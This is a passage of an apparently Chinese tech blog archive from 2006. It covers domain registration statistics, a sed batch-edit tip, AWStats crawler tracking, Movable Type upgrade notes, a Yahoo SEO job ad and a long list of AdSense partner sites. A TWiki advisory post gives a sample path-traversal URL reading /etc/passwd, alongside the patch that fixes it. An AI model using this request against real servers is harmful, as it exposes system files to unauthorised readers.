7) 无忧无虑，顽皮，愉快的人 你喜欢自由自在，无拘无束的生活。你的座右铭是：生命只能活一次，因此你尽量享受每一刻。你好奇心旺盛，对新事物抱有开放的态度；你向往改变，讨厌束缚。你觉得身边的环境都不断在变，而且经常为你带来惊喜。

**8) 浪漫，爱幻想，情绪化 ** 你是一个感性的人。你拒绝只从一个严肃，理智的角度去理解事物。你的感觉亦十分重要。事实上，你觉得人生必需要有梦想才叫活得充实。你不接受那些轻视浪漫主义及被理智牵着鼻子走的人；而且不会让任何事物影响到你那丰富的感情及情绪。

**9) 具分析力，可靠，自信 ** 你对事物的灵敏度令你可以发现到旁人忽略了的东西。这些就是你的宝石，你喜欢发掘这些美好的东西。你的教养对于你的生活有很特别的影响。你有自己高雅独特的一套，无视任何时装潮流。你的理想生活是优雅而愉快的，而你亦希望跟你接触的人们都是高雅而有教养的。

顶级域名注册分布统计：2006年09月 .com .de .net .uk .cn

Thu, 21 Sep 2006 20:09:30 +0800

Ext	Domains	    Registered	Country
com	53,896,533 	Global	gTLD
de	10,022,858 	Germany
net	7,870,306 	Global	gTLD
uk	5,141,040 	United	Kingdom
org	4,853,499 	Global	gTLD
eu	2,125,207 	European	Union
nl	2,003,258 	Netherlands
it	1,179,188 	Italy
cn	1,173,330 	China
be	1,057,108 	Belgium
us	1,004,626 	United	States
br	956,542 	Brazil
jp	845,603 	Japan
ch	814,683 	Swiss
dk	708,693 	Denmark
fr	632,404 	France
at	544,821 	Austria
pl	482,199 	Poland
se	466,012 	Sweden
es	411,174 	Spain
cz	254,777 	Czech
pt	98,751 	    Portugal

用sed批量替换文件中的字符

Sun, 17 Sep 2006 10:15:57 +0800

由于缺乏模板系统，以前使用html编写的笔记已经很久没有更新了，如果需要对页面内容进行一些更新（比如要更换一下页面中的CSS文件路径），可以用sed完成。对于多个文件的批量处理，整理步骤如下：

1 先创建一个temp目录，将需要更新的文件放到这个临时目录工作下： cp *.html temp/ 2 用ll + awk组合生成脚本文件： ls -1 * | awk ‘{print “sed s#/style.css#/blog/styles_zh-cn.css#g “$1” > ../"$1}’ > sed.sh 生成后的脚本文件如下：

sed s#/style.css#/blog/styles_zh-cn.css#g acdsee.html > ../acdsee.html sed s#/style.css#/blog/styles_zh-cn.css#g ant.html > ../ant.html sed s#/style.css#/blog/styles_zh-cn.css#g apache_install.html > ../apache_install.html sed s#/style.css#/blog/styles_zh-cn.css#g awstats.html > ../awstats.html sed s#/style.css#/blog/styles_zh-cn.css#g cache.html > ../cache.html sed s#/style.css#/blog/styles_zh-cn.css#g click.html > ../click.html sed s#/style.css#/blog/styles_zh-cn.css#g cms.html > ../cms.html sed s#/style.css#/blog/styles_zh-cn.css#g comment.html > ../comment.html sed s#/style.css#/blog/styles_zh-cn.css#g compress.html > ../compress.html sed s#/style.css#/blog/styles_zh-cn.css#g cvs_card.html > ../cvs_card.html sed s#/style.css#/blog/styles_zh-cn.css#g default.html > ../default.html sed s#/style.css#/blog/styles_zh-cn.css#g dev.html > ../dev.html sed s#/style.css#/blog/styles_zh-cn.css#g gnu.html > ../gnu.html sed s#/style.css#/blog/styles_zh-cn.css#g google_ads.html > ../google_ads.html sed s#/style.css#/blog/styles_zh-cn.css#g google.html > ../google.html sed s#/style.css#/blog/styles_zh-cn.css#g google_url.html > ../google_url.html sed s#/style.css#/blog/styles_zh-cn.css#g hello_unicode.html > ../hello_unicode.html sed s#/style.css#/blog/styles_zh-cn.css#g indent_tools.html > ../indent_tools.html sed s#/style.css#/blog/styles_zh-cn.css#g index.html > ../index.html sed s#/style.css#/blog/styles_zh-cn.css#g link_pop_check.html > ../link_pop_check.html sed s#/style.css#/blog/styles_zh-cn.css#g lucene.html > ../lucene.html sed s#/style.css#/blog/styles_zh-cn.css#g mysql.html > ../mysql.html sed s#/style.css#/blog/styles_zh-cn.css#g nat.html > ../nat.html sed s#/style.css#/blog/styles_zh-cn.css#g oe2html.html > ../oe2html.html sed s#/style.css#/blog/styles_zh-cn.css#g oracle.html > ../oracle.html sed s#/style.css#/blog/styles_zh-cn.css#g resin.html > ../resin.html sed s#/style.css#/blog/styles_zh-cn.css#g rotate_merge_log.html > ../rotate_merge_log.html sed s#/style.css#/blog/styles_zh-cn.css#g sed.sh > ../sed.sh sed s#/style.css#/blog/styles_zh-cn.css#g study.html > ../study.html sed s#/style.css#/blog/styles_zh-cn.css#g unicode_java.html > ../unicode_java.html sed s#/style.css#/blog/styles_zh-cn.css#g weblog.html > ../weblog.html sed s#/style.css#/blog/styles_zh-cn.css#g weblucene.html > ../weblucene.html sed s#/style.css#/blog/styles_zh-cn.css#g xml_potato.html > ../xml_potato.html sed s#/style.css#/blog/styles_zh-cn.css#g xslt.html > ../xslt.html

3 然后执行脚本文件： shell sed.sh

给AWStats增加针对Googlebot/Baiduspider/Yahoo!Slurp/MSNBot的详细统计

Sun, 10 Sep 2006 09:29:09 +0800

虽然AWStats中提供了蜘蛛的分类统计：

搜索引擎网站的机器人 (前 10) - 全部列出 - 最近参观日期 102 个机器人* 文件数字节最近参观日期 Sina Iask Spider 41894 520.80 M字节 2006年九月 09日 07:17 GouGou 34577 920.11 M字节 2006年九月 09日 12:23 Googlebot 12171+39 212.60 M字节 2006年九月 09日 12:23 Yahoo Slurp 5775+1275 91.10 M字节 2006年九月 09日 12:24 GigaBot 5334+233 53.62 M字节 2006年九月 09日 12:24 Unknown robot (identified by 'robot') 5421+6 71.46 M字节 2006年九月 09日 12:17 Lilina 5278 76.67 M字节 2006年九月 09日 12:22 MSNBot 4075+217 52.31 M字节 2006年九月 09日 12:19 Yahoo! Slurp China 3135+460 25.83 M字节 2006年九月 09日 12:21 Unknown robot (identified by 'crawl') 3431+6 78.98 M字节 2006年九月 09日 12:23

有汇总后的数据，但是每个蜘蛛具体抓取了那些页面和抓取的频度就无法得知了，利用AWStats的扩展配置，统计也可以详细到每个蜘蛛的具体访问（参考了http://www.antezeta.com/awstats.html上的配置样例）。

twiki 4.0.x 安全漏洞警告：服务端任意文件读取

Fri, 08 Sep 2006 10:13:18 +0800

9月6日收到了twiki开发邮件列表的安全警报：twiki 4.0.x中发现了服务器端文件读取安全漏洞。黑客有可能通过这样的链接查看后台系统上的文件： http://example.com/bin/viewfile/TWiki/TWikiDocGraphics?rev=1;filename=../../../../../etc/passwd

请尽快升级twiki 4.0.x 的系统：

— View.pm (revision 11339) +++ View.pm (working copy) @@ -356,6 +356,7 @@ my $topic = $session->{topicName};

 my $fileName = $query->param( 'filename' );

die “Illegal attachment name” if $fileName =~ m#[/\]#;

my $rev = $session->{store}->cleanUpRevID( $query->param( ‘rev’ ) );

附：原邮件

Dear TWiki administrator,
This advisory alerts you of a potential security issue with your TWiki installation: Unauthorized user may view arbitrary files of the server file system with the viewfile script.

[MT] 3.32升级备忘

Wed, 06 Sep 2006 18:48:24 +0800

升级方法1 直接覆盖原来的程序，然后使用mt-upgrade.cgi升级升级方法2 创建一个新目录：解包后创建一个mt-config.cgi

新的配置文件简化了很多：

CGIPath    http://www.chedong.com/cgi-bin/mt/
StaticWebPath    http://www.chedong.com/blog

ObjectDriver DBI::mysql
Database DBNAME
DBUser DBUSER
DBPassword DBPASSWORD
DBHost DBHOST
DBSocket /var/lib/mysql/mysql.sock

MailEncoding UTF-8

插件和语言包：我还有一个相关贴插件在使用中 relatedkeyword.pl 位于 /mt/plugins/

ThinkJam提供的MT中文包：主要是：zh_cn.pm 位于 /mt/lib/MT/L10N/ 而静态文件如果不是发布在cgi-bin/mt-static目录下，则要手工从 mt-static/复制到静态文件的发布路径下。

更新后效果如图：中文的css字体比英文版的大，更适合中文FIREFOX浏览。

模板更新：在每个BLOG中有批量更新到最新模板的功能，更新后会有备份模板目录中。

基于关键词的相关文章插件：我在MT的安装备忘中提到过，从猫叔那里学到的。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-09-06 20:23

MT 现在真的比较完美了

石头 · 2006-09-07 08:47

你的相关文章用的什么插件，可否Email我？

jianshu · 2006-09-07 14:01

受教，最近正在学习MT

ikias · 2006-09-07 19:18

[雅虎招聘] 雅虎网站产品部诚聘：首席SEO专员

Mon, 04 Sep 2006 16:30:23 +0800

“经过URL重写之后，我的网站在雅虎中的收录量增长了两倍！” “我的网站在‘电影’这个关键词的百度排名升到第二了！” “从Google带来的流量从原来每天一两个猛增到3000多个了！”

各位亲爱的同仁：

如果你看到上面的几句话能会心一笑，明白它们说的是什么东东，你很可能就是我们要找的人了，是的，雅虎网站产品部正在诚聘“雅虎CSS-首席SEO专员”一名，别被这个名字的光环忽悠，在民间，这个职位偶尔也被称为“Spammer” :) 如果您有意向，欢迎投递简历，我们同时欢迎您大力推荐合适人才！

职位名称：雅虎SEO专员需求人数：1人工作地点：北京职位描述：本职位隶属于雅虎网站产品部搜索引擎优化组，负责雅虎所有网站产品针对搜索引擎的优化工作，制定公司产品SEO规范，参与公司产品开发中的SEO咨询和审核。

职位要求： l 有广泛的互联网知识，对于Web服务器、Apache、域名、Unix等名词不陌生，并了解它们的工作原理；至少一年以上深入一线的网站建设维护经验。 l 有过编程经验，熟悉HTML、Javascript、ASP、PHP、CSS等页面语言，精通HTML者为佳； l 搜索引擎的重度使用者，对于Google/Baidu/Yahoo!这些名字耳熟能详，对于Baiduspider/Googlebot/Sogouspider也绝不陌生；对于搜索引擎的原理有深入的了解，熟悉各个品牌蜘蛛的口味和喜好； l 对数字极为敏感，具有极强的分析能力，能从看似杂乱的数据中分析出合理的原因； l 良好的沟通协调及项目管理能力，能有效推动其他部门的配合，完成公司产品的SEO工作； l 较强的学习能力，能持续关注搜索引擎的发展，了解其最新动向 l 英语阅读能力优秀者优先；

简历请发到：[](mailto:yahoo_hr_hanyi@alibaba-inc.com?subject=[Apply SEO]: InputYourNameHere (from CheDong.com))

SEO: 和蜘蛛的友谊和战斗

💬 历史评论

以下 62 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-09-04 17:29

其实我倒是很适合的

就怕DBA team 不让 :)

virushuo · 2006-09-04 17:41

其实我倒是很适合的

就怕yahoo不同意兼职 :)

tinyfool · 2006-09-04 17:46

Google的AdSense服务在中国的部分合作网站分布及流量

Sat, 02 Sep 2006 21:37:04 +0800

Google面向广告客户的AdWords中有一个功能是指定网站进行广告投放：其中列出了各个地区主要的AdSense合作网站列表（部分）供选择进行网站定向投放，并分成以下大类列出。

  	本地搜索
	地区目录
	电信
	移动与无线
	房地产
	租赁列表与推介
	购物
	互联网
	计算机及电子产品
	硬件
	家居与园艺
	健康
	金融与保险
	投资
	旅游
	企业
	社会
	教育
	生活方式
	新闻与时事
	行业
	交通运输与物流
	艺术和人文科学
	书籍与文献
	游戏

将这些网站一一记录排除了重复的记录后得到了1176家网站的统计（附后）。其中流量在50万以上的网站列表如下：

最低流量(k)       域名
500	xiaoyouxi.com
500	war3.uuu9.com
500	uuu9.com
500	stockstar.com
500	stock.cnfol.com
500	qqhot.com
500	qf18.com
500	product.pcpop.com
500	phoenixtv.com
500	oa18.com
500	nnsky.com
500	news.phoenixtv.com
500	newhua.com
500	mofile.com
500	hsyl.hnol.net
500	hnol.net
500	face.coralqq.com
500	duowan.com
500	coralqq.com
500	cnfol.com
500	club.ccmove.com
500	ccmove.com
500	bitcomet.com
500	bbs.uuu9.com
500	55bbs.com
500	55188.com
500	456.net
500	3839.com

最低流量(k)       域名
100	yyshuku.com
100	yxdown.com
100	youxizhu.com
100	ylmf.com
100	yjbg.stock.cnfol.com
100	xz.netsh.com
100	xylv.com
100	xcity.cn
100	wowshell.com
100	wow.duowan.com
100	wda.com.cn
100	uoo.cn
100	train.tielu.org
100	tielu.org
100	tgfcer.com
100	tgbus.com
100	sunschina.com
100	soff.net
100	so138.com
100	smm.com.cn
100	sj.net.cn
100	sisdown.com
100	silkmodel.com
100	shop.tompda.com
100	she.xicn.net
100	shangdu.com
100	search.wowshell.com
100	search.newhua.com
100	sc.stock.cnfol.com
100	sa20.com
100	qzzn.com
100	quote.stockstar.com
100	qqgexing.com
100	qfans.net
100	qbaobei.com
100	profile.zhiji.com
100	nj.onlinedown.net
100	news.cnfol.com
100	my0511.net
100	mhhf.net
100	law-lib.com
100	krent.xicn.net
100	kksk.net
100	kaoyan.com
100	jsyks.com
100	jsfv.com
100	isso.com.cn
100	ipiao.com.cn
100	imagegarden.net
100	icax.cn
100	ibox.com.cn
100	huochepiao.com
100	gy16.com
100	guang.org
100	guang.net
100	gh.duowan.com
100	game5i.com
100	flashwo.com
100	flash.shangdu.com
100	flash.bitcomet.com
100	flash512.com
100	feeeco.com
100	farpop.com
100	ezeem.com
100	examda.com
100	emu-zone.org
100	edeng.cn
100	e-chong.com
100	duniu.com
100	cnxad.com
100	chinabyte.com
100	cfi.net.cn
100	cc.topzj.com
100	blueidea.com
100	blogtt.com
100	bbs.youxizhu.com
100	bbs.icax.cn
100	bbs.52samsung.com
100	bbs4.nnsky.com
100	bbs3.nnsky.com
100	bbs2.nnsky.com
100	bbs1.nnsky.com
100	abbs.com.cn
100	9tour.cn
100	9flash.com
100	91baby.com
100	8684.cn
100	8181.com.cn
100	6vs4.cn
100	68design.net
100	61flash.com
100	55188.net
100	52samsung.com
100	51nb.com
100	51mxd.com
100	17ka.com
100	17173.com
100	10flash.net
100	060s.com
10	zzz4.com
10	zyzyw.net
10	zyrm.com
10	zygb.com
10	zs91.com
10	znsjw.com
10	zhujiangroad.com
10	zhuicha.com
10	zhonglou.cn
10	zhongkao.cn
10	zhchannel.com
10	zh51home.com
10	zgzmd.com
10	zeyi.cn
10	zdsee.com
10	yxdoor.com
10	yxba.com
10	yoxia.com
10	youxijia.cn
10	youxibuding.com
10	ylbj.com.cn
10	yixia.net
10	yingjiesheng.com
10	yifafa.com
10	yesize.net
10	ycccf.com
10	yangtse.com
10	xycq.net
10	xy2.youxizhu.com
10	xuxule.net
10	xuexinet.com
10	xueda.net
10	xswg.com
10	xmgogogo.com
10	xm.com.cn
10	xllz.net
10	xingkong.com
10	xiashanet.com
10	xiashabbs.com
10	xiaolin.net
10	xiaocao.com
10	xhl.bato.cn
10	xgame.uuu9.com
10	xbus.cn
10	wzsky.net
10	ww123.net
10	wow.sa20.com
10	wowmovies.cn
10	wo265.com
10	wm090.com
10	wlmq.com
10	whatchina.com
10	westca.com
10	wedqq.com
10	wedchina.com
10	wanneter.com
10	wandelai.com
10	w3pub.com
10	w2war.com
10	vvn.cn
10	veryqq.net
10	unicool.cn
10	tuuke.com
10	tumanduo.com
10	tuleba.com
10	tubebbs.com
10	tt7k.com
10	tt53.com
10	tt178.com
10	trip.rsscity.cn
10	tqqa.com
10	tongji.net
10	tiansou.net
10	tedi.com.cn
10	t135.com
10	sz2home.com
10	swotbbs.com
10	surmap.com
10	sucaiw.com
10	studa.com
10	stu51.com
10	stsj86.com
10	stock.cfi.net.cn
10	star.23kk.com
10	ssqdyj.com
10	srts.net
10	sq.k12.com.cn
10	spbuy.net
10	sooit.com
10	solar.mofile.com
10	soku.net
10	soft.studa.com
10	softsea.net
10	so100.cn
10	smskb.com
10	sms.bitcomet.com
10	sms.85851.com
10	smartphonecn.com
10	smartor.cn
10	sjshu.net
10	sjshu.com
10	sjppp.com
10	sj33.cn
10	sj263.com
10	sisumm.com
10	simcity.cn
10	sikao8.com
10	shw.cn
10	shouji56.com
10	shanghaimm.cn
10	shangda.net
10	sgchinese.com
10	sf.org.cn
10	seulki.ifensi.com
10	seeflash.net
10	search2.newhua.com
10	ruian.com
10	rsscity.cn
10	roomage.com
10	romman.net
10	resource.stockstar.com
10	read.91move.com
10	rc119.cn
10	rar6.com
10	raonet.net
10	quote.cnfol.com
10	qq-zone.org
10	qq5120.com
10	qingdaonews.com
10	pw.it.com.cn
10	psstudy.com
10	ppzy.net
10	ppsj.com.cn
10	pp86.com
10	piaojia.cn
10	phone123.cn
10	pf168.com
10	pcshow.net
10	pao5.com
10	ot51.com
10	open188.com
10	ometal.com
10	okshare.net
10	oknew.com
10	oatime.com
10	oahelp.net
10	o2mania.com
10	nv2.cn
10	nowec.com
10	nongli.com
10	new.060s.com
10	netor.com
10	netook.com
10	ndodo.com
10	nanjing.8684.cn
10	name999.com
10	naalee.com
10	myst.cn
10	myprice.com.cn
10	my800.net
10	mxp.cn
10	mxd.youxizhu.com
10	msjk.net
10	moonedu.com
10	money.cnfol.com
10	mk99.com
10	mjjq.com
10	mie168.com
10	me.ik8.com
10	megaupload.com
10	maoyiren.com
10	macd.cn
10	m9w.com
10	luckfish.net
10	liusong.net
10	literary.goodmood.com.cn
10	list.yxdown.com
10	likewoman.com
10	lieche.cn
10	lbx18.com
10	laiyouxi.com
10	kuduo.com
10	kuaijiren.com
10	krpop.com
10	kqyx.cn
10	koudai8.com
10	kkpic.com
10	kkkmm.com
10	kaoyantj.com
10	kaoshi.ws
10	kan51.com
10	kaixinyouxi.com
10	k12.com.cn
10	jying.cn
10	junzhuan.com
10	junmeng.org
10	jtjc.cn
10	jokepic.com
10	joinmap.com
10	jobpin.com
10	jlzx.k12.com.cn
10	jkw.cn
10	jily.net
10	jiaonan.net
10	jdztaoci.com
10	j2medev.com
10	izybbs.com
10	itry.cn
10	iqing.net
10	ipseeker.cn
10	iohle.com
10	insurance.cnfol.com
10	imagesite.cn
10	id.bokee.com
10	icha.cn
10	hzjg.net
10	hy.stock.cnfol.com
10	hxlw8.com
10	hx.hxgame.net
10	hxgame.net
10	hxall.com
10	huoo.net
10	huoche.com.cn
10	huoche123.com
10	huaiyunle.cn
10	hqcj.com.cn
10	horo.myrice.com
10	homoo.cn
10	homegx.com
10	hkstock.cnfol.com
10	hiss.a.lunqun.com
10	hexun.com
10	heimaqq.com
10	heaven.mofile.com
10	health8.cn
10	hdzxw.com
10	haosc.com
10	haoo.cn
10	haochi123.com
10	hao86.com
10	haiguinet.com
10	haha168.com
10	h600.cn
10	gz.jx.cn
10	gxkj.blogbus.com
10	gxjc.cn
10	gwyks.com
10	gupiao8.com
10	guaigege.us
10	gtja.com
10	gold.cnfol.com
10	go-easy.cn
10	gmxy.stock.cnfol.com
10	gminfo.cn
10	gm77.com
10	globrand.com
10	gg.stock.cnfol.com
10	gerenjianli.com
10	gdzjtour.com
10	gaoxiaoqq.com
10	gao-kao.com
10	gaocan.com
10	gamezero.cn
10	game.sa20.com
10	game.cttstar.com
10	galaxy.mofile.com
10	ga-la.com
10	fyjs.cn
10	futures.cnfol.com
10	fund.cnfol.com
10	freekaoyan.com
10	fpcn.net
10	foyin.com
10	forex.cnfol.com
10	foodmate.net
10	flxz.com
10	flgw.cn
10	flash.onlinedown.net
10	flash920.com
10	flash61.com
10	fjhousenet.com
10	fishjava.com
10	feloo.com
10	feedtrade.com.cn
10	fazhuan.com
10	fanwen86.com
10	f4666.com
10	etaoba.com
10	eshooo.com
10	ershou.net
10	engessay.com
10	emumax.com
10	emkt.com.cn
10	ekw.cn
10	ekv.cn
10	ejobshow.com
10	egua.com
10	eduxue.com
10	ebol.com.cn
10	easygo.com.cn
10	dresschina.com
10	doyouhike.net
10	down.sa20.com
10	down.coralqq.com
10	douban.com
10	dolc.de
10	dofoto.net
10	dlxp.com
10	dkp.duniu.com
10	diytrade.com
10	diyto.com
10	diyifanwen.com
10	dianliang.com
10	dffy.com
10	desk9.com
10	ddooo.net
10	daoto.com
10	daiyue8.cn
10	dailyvc.com
10	daduzi.com
10	dabaoku.net
10	d1xz.net
10	cuiv.com
10	ctw.cn
10	cttstar.com
10	cqpc.cn
10	c.qbaobei.com
10	cpgl.net
10	cool-de.com
10	constellation.mofile.com
10	cnyww.com
10	cnweber.com
10	cnvip.busytrade.com
10	cnrencai.com
10	cnprint.org
10	cnpics.com
10	cnlist.com
10	cnkjz.com
10	cnitv.com
10	cnhua.net
10	cnexp.net
10	cndesign.com
10	cnc.52samsung.com
10	clubsky.net
10	club.kuaijiren.com
10	clore.net
10	citybrother.com
10	chinesezhouyi.com
10	chinesetax.com.cn
10	chinesejy.com
10	chinawav.com
10	chinaue.com
10	chinapharm.com.cn
10	china-nurse.com
10	china.nowec.com
10	chinajjkk.com
10	chinaddu.com
10	china-cet.com
10	china.busytrade.com
10	china95.net
10	chasp.com
10	chaoshanren.com
10	cha.chelink.com
10	cg.pcpop.com
10	cg3000.com
10	cenet.org.cn
10	caxhome.com
10	carnoc.com
10	cangzhou.net.cn
10	busytrade.com
10	boraclub.net
10	boooke.com.cn
10	booksir.cn
10	boke-china.com
10	blueqq.cn
10	blog.cnfol.com
10	blogbus.com
10	biz-channel.net
10	bitrings.com
10	billwang.net
10	bewww.net
10	bestmoban.com
10	beijing.ndodo.com
10	beijing.kuduo.com
10	beebee.com.cn
10	bead-diy.com
10	bc.org.cn
10	bcchinese.net
10	bbs.xswg.com
10	bbs.unicool.cn
10	bbs.tgbus.com
10	bbs.stockstar.com
10	bbs.soff.net
10	bbs.smthome.net
10	bbs.sgchinese.com
10	bbs.seedit.com
10	bbs.nnsky.com
10	bbs.net
10	bbs.legfoot.com
10	bbs.kaoyan.com
10	bbs.game5i.com
10	bbs.freekaoyan.com
10	bbs.feeeco.com
10	bbs.evocn.com
10	bbs.emu-zone.org
10	bbs.ekv.cn
10	bbs.duowan.com
10	bbs.dresschina.com
10	bbs.ctw.cn
10	bbs.cool-de.com
10	bbs.cmfans.cn
10	bbs.chinadz.com
10	bbs.bato.cn
10	bbs.baby169.net
10	bbs.asiaci.com
10	bbs.6sq.net
10	bbs.5432.net
10	bbs.52print.com
10	bbs.51ielts.com
10	bbs2.asiaci.com
10	bbs.17ka.com
10	bbs.0110.cn
10	baokao.net
10	bank.cnfol.com
10	bandao.cn
10	babycom.cn
10	aoshu.cn
10	anquan.com.cn
10	anhuish.com
10	aj8.com.cn
10	aitrip.net
10	adayouxi.com
10	actoys.net
10	abcjy.com
10	a1988.com
10	9lvyou.com
10	9ivv.com
10	9654.com
10	92bus.com
10	91trip.com
10	91move.com
10	91doc.com
10	85851.com
10	81ren.com
10	7story.com
10	7npc.com
10	7k8k.com
10	7880.com
10	75111.com
10	6sq.net
10	670068.com
10	66law.cn
10	66china.com.cn
10	66365.net
10	65club.net
10	61soft.com
10	61b.cn
10	61300.com
10	5ykj.com
10	5ucom.com
10	5s5j.com
10	58188.com
10	55tg.cn
10	55188.cn
10	5432.net
10	52print.com
10	52lg.com
10	52hardware.com
10	52bus.com
10	52bb.cn
10	520show.com
10	51zm.com
10	51yes.com
10	51yala.com
10	51xue.cn
10	51qe.cn
10	51ielts.com
10	51bankcard.com
10	5156edu.com
10	51555.org
10	514200.cn
10	4a98.com
10	3dportal.cn
10	38tt.com
10	37tcm.net
10	365zhaosheng.com
10	365wenxue.com
10	365u.com.cn
10	35135.com
10	33ii.com
10	3235587.com
10	320kb.com
10	2sun.cn
10	2ppt.com
10	28113.com
10	2228.cn
10	2008q.com
10	2000year.com
10	1zhao.org
10	1shang.com
10	1884-1949.com
10	17try.com.cn
10	17im.com
10	1798.cn
10	163wap.net
10	163msn.com
10	14911.com
10	13tt.com
10	12999.com
10	123xz.net
10	1230.org
10	120health.com
10	114hye.com
10	114china.com
10	100md.com
10	100kang.com
10	0395h.com
10	027.net
10	020sj.com
10	020job.com
10	01rc.com
10	0110.cn
10	010zf.com
10	001tu.com
1	zzit.com.cn
1	zwkf.net
1	zswcn.com
1	zstm.net
1	zsl888.com
1	zshl.com
1	zqzqnet.com
1	zqyw.news.cnfol.com
1	zooao.com
1	zldx2.stock.cnfol.com
1	zjorchid.com
1	ziti.cndesign.com
1	ziour.com
1	zhuangshi.biz
1	zhs2008.com
1	zhaoditu.com
1	zhaobaozang.net
1	zgepsa.com
1	zeyi.net
1	zdsee.net
1	zbggw.com
1	yych.com.cn
1	yxsjy.net
1	ywbb.com
1	yuernet.com
1	ynqv.com
1	yndt.bank.cnfol.com
1	yiyuan.net
1	yixuecn.net
1	yinger.com
1	yimaitong.com
1	yigan.cn
1	yhcs.bank.cnfol.com
1	yegong.com
1	yaotong.cn
1	xzfree.com
1	xyfund.com
1	xuanwuju.com
1	xtour.cn
1	xtianxia.com
1	xtcn.net
1	xmtravel.com
1	xmsims.com
1	xjtzs.com
1	xinrou.com
1	xingyisolar.com
1	xiaocash.com
1	xg.stock.cnfol.com
1	xfguide.com
1	xa2s.com
1	wyren.net
1	wxwang.com
1	wwv.partybilder.gs
1	wvw.piranho.com
1	wuji8.com
1	wtxz.net
1	worldtrip.blogtt.com
1	worldmapfinder.com
1	wmgdesign.com
1	wllrw.com
1	windhome.net
1	wfhome.cn
1	wenzhouglasses.com
1	weneedcar.com
1	wenben.cn
1	weibing.com.cn
1	week9.com
1	webhosting.gs
1	wcoat.com
1	warcraftmovies.com
1	viewbase.cn
1	video.cnfol.com
1	v-d.com.cn
1	vancn.com
1	uuzone.com
1	uuchina.com.cn
1	uobuy.com
1	union158.com
1	ugongshe.com
1	ueuo.com
1	txsk.com
1	tt66tt.com
1	triplog.blogtt.com
1	travel.westca.com
1	travel.qqread.com
1	tradesun.net
1	toys365.com
1	tour.xylv.com
1	tourd.com.cn
1	tour2hubei.com
1	torontoservice.com
1	topw.cn
1	tophw.com
1	tongcha.com
1	tomx.com
1	tochina.com.cn
1	tnbzy.com
1	tj.allfang.com
1	tigerspace.net
1	ticket.cnfol.com
1	tianya.cn
1	therich.cn
1	tbaobao.com
1	tastebar.com
1	taoxie.com
1	taoq.com
1	szjkw.net
1	sz1859.com
1	swaiwai.com
1	sunbbs.co.uk
1	sudoku.name
1	suansun.com
1	study.okshare.net
1	stock99.com
1	stock888.net
1	star.xiaolin.net
1	sppf.cn
1	speedycars.net
1	soxu.cn
1	sosoboy.com
1	soochina.cn
1	sneakers.com.cn
1	smtsite.com
1	smsbar.cn
1	smartphones.com.cn
1	sjquan.com
1	shuigong.com
1	shtogo.com
1	shouji8.com
1	shopskycn.com
1	shop.bandao.cn
1	shiy.net
1	shanghan.com
1	sgcity.net
1	seeitco.com
1	seecool.net
1	sdrug.com
1	sccw.news.cnfol.com
1	sc999.com.cn
1	ruiwen.com
1	rssor.org
1	renlink.com.cn
1	qwbiz.com
1	qqxpp.com
1	qj.net
1	qihuo8.com
1	pxdxa.com
1	pubpot.com
1	pspupdates.qj.net
1	product.zzit.com.cn
1	prettyview.com
1	ppcn.com.cn
1	pp17.com
1	poplong.cn
1	poo.cn
1	pmss.cn
1	playsell.com
1	pkpiao.com
1	piranho.com
1	phpbbforfree.com
1	phpbb88.com
1	pda158.com
1	pcxian.com
1	pc165.net
1	partybilder.gs
1	p5w.net
1	ourtw.com
1	on139.com
1	okbbs.com
1	oicp.net
1	office8.cn
1	oculist.net
1	oabar.com
1	ntzs.com
1	north24.com
1	nnmai.com
1	ningbogo.com
1	newstock.cfi.net.cn
1	news.21our.com
1	newmaker.com
1	newexam.net
1	newdruginfo.com
1	newcoat.net
1	net1868.net
1	nch.com.cn
1	nbcom.net
1	nb163.net
1	my-pink.com
1	myoic.com
1	myknots.com
1	myebay.cn
1	mstz.net
1	msn.com
1	mscbsc.com
1	mrol.net
1	movefun.com
1	mosea.net
1	moldbbs.com
1	mob.ilephone.com
1	mobile.ezit.com.cn
1	mobile3g.cn
1	mms.163wap.net
1	mjrcw.com
1	miumu.com
1	midishow.net
1	mfdyw.net
1	meiyutan.net
1	medtm.net
1	medtm.cn
1	mediapost.cn
1	med8th.com
1	med126.com
1	mc21st.com
1	mba163.com
1	marketingman.net
1	map98.com
1	map2china.com
1	managecn.org
1	mai-fans.com
1	maichepiao.com
1	mahooshanghai.com
1	madehr.com
1	lzzhu.com
1	lyzn.com
1	lygkd.com
1	lybuy.com
1	lvyou114.com
1	lumstar.com
1	lonbon.cn
1	lifek.com
1	lhb2c.com
1	leleju.com
1	landscapecn.com
1	landscape.cn
1	km4x4.com
1	kington8.com
1	kinglz.com.cn
1	kidsurl.61soft.com
1	kftour.com
1	kayuan.net
1	kakayu.com
1	kakabook.net
1	jxylw.com.cn
1	jx140.com
1	jsxys.com
1	js3000.com
1	jpskb.com
1	jooee.net
1	jjjz.net
1	jishiyu.com
1	jiaju.cc
1	jdwx.net.cn
1	jcddchina.cn
1	iztc.com
1	ivfbbs.com
1	itour.cn
1	it8it.com
1	irich.info
1	images.google.com
1	ilephone.net
1	ilephone.com
1	ihotel.com.cn
1	ifrance.com
1	ieforex.com
1	idhr.com.cn
1	idealbiz.sh.cn
1	idchina.com.cn
1	ibusdb.com
1	iader.com
1	hxjk.com
1	huochepiao.net
1	huoche114.com
1	hubeitour.com
1	huaihai.tv
1	hua4.com
1	hsnb.com
1	hscp.stock.cnfol.com
1	hroot.com
1	house365.com
1	hotel.xylv.com
1	homepage.52samsung.com
1	home369.cn
1	hnwei.com
1	hmtj.stock.cnfol.com
1	hengshantrip.com
1	health.qingdaonews.com
1	health.faq4me.net
1	hdyykj.com
1	hc360.com
1	hbver.com
1	haoys.net
1	haotop.com
1	haotianxia.com
1	han123.net
1	hack369.com
1	h360.net
1	gzydl.com
1	gupiao668.com
1	guangzhou.8684.cn
1	gszb.stock.cnfol.com
1	gslcbs.com.cn
1	gshhw.net
1	green.lagoo.com.cn
1	gqe.cn
1	goomj.com
1	googlepages.com
1	google.com
1	goletsgo.com
1	gohk.net
1	godele.com
1	gochinahotel.com
1	glzlw.com
1	gifts-trade.com
1	ghs.com.cn
1	ggxo.com
1	gg-game.com
1	garden.duniu.com
1	ganbing.net.cn
1	gamedesire.com
1	gamedesign.jp
1	fzengine.com
1	fundxy.com
1	ftp8.de
1	ftp.37tcm.net
1	fridayol.cn
1	freehost02.websamba.com
1	free-doctor.com
1	fpdisplay.com
1	finance.memail.net
1	fimr.org
1	fguir.com
1	fczhemo.com
1	fcgame.com
1	fatten.net
1	fashion.mainone.com
